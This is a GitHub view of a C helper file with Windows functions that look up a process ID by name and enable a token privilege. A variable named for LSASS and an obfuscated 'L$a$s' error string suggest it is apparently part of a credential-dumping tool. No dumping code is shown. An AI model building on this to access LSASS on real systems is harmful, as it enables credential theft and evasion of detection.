-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathcommon.c
78 lines (64 loc) · 1.84 KB
/
common.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include "common.h"
#include "util.h"
DWORD GetPID(LPCWSTR procname)
{
DWORD dwLsassPID = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] CreateToolhelp32Snapshot failed, error code: %lu\n", GetLastError());
return -1;
}
//PROCESSENTRY32W pe = { sizeof(PROCESSENTRY32W) };
PROCESSENTRY32W pe;
ZeroMemory(&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W);
BOOL bFind = Process32FirstW(hSnap, &pe);
while (bFind)
{
if (my_wcsicmp(pe.szExeFile, procname) == 0)
{
dwLsassPID = pe.th32ProcessID;
break;
}
bFind = Process32NextW(hSnap, &pe);
}
CloseHandle(hSnap);
if (dwLsassPID == 0)
{
wprintf(L"[-] L$a$s process not found.\n");
return -1;
}
return dwLsassPID;
}
VOID EnablePrivilege(LPCWSTR flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
BOOL bResult;
bResult = OpenProcessToken(NtCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (!bResult)
{
wprintf(L"[-] OpenProcessToken failed, error code: %lu\n", GetLastError());
return;
}
wprintf(L"[+] Open CurrentProcess Token Successful.\n");
LUID luid;
bResult = LookupPrivilegeValueW(NULL, flag, &luid);
if (!bResult)
{
wprintf(L"[-] LookupPrivilegeValue failed, error code: %lu\n", GetLastError());
return;
}
wprintf(L"[+] LookupPrivilegeValue Successful.\n");
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Luid = luid;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bResult = AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (!bResult)
{
wprintf(L"[-] AdjustTokenPrivileges failed, error code: %lu\n", GetLastError());
return;
}
wprintf(L"[+] Enable %ls Privileges Successful.\n", flag);
}